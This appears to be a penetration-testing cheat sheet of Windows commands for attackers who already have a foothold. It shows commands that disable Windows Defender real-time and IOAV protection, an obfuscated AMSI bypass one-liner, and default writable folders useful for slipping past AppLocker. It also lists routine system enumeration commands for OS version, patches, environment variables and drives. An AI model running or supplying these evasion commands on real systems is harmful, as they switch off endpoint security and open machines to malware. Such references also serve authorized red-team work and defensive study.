**Antivirus & Detections**

**Windows Defender**

# check status of Defender

PS C:\> Get-MpComputerStatus

# disable Real Time Monitoring

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus

PS C:\> Set-MpPreference -DisableIOAVProtection $true

**AppLocker Enumeration**

* With the GPO
* HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script).

List AppLocker rules

PS C:\> $a = Get-ApplockerPolicy -effective

PS C:\> $a.rulecollections

**Powershell**

Default powershell locations in a Windows system.

C:\windows\syswow64\windowspowershell\v1.0\powershell

C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Example of AMSI Bypass.

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

**Default Writeable Folders**

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

C:\Windows\System32\spool\drivers\color

C:\Windows\Tasks

C:\windows\tracing

**Windows Version and Configuration**

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

**Extract patchs and updates**

wmic qfe

**Architecture**

wmic os get osarchitecture || echo %PROCESSOR\_ARCHITECTURE%

**List all env variables**

set

Get-ChildItem Env: | ft Key,Value

**List all drives**

wmic logicaldisk get caption || fsutil fsinfo drives

wmic logicaldisk get caption,description,providername

Get-PSDrive | where {$\_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root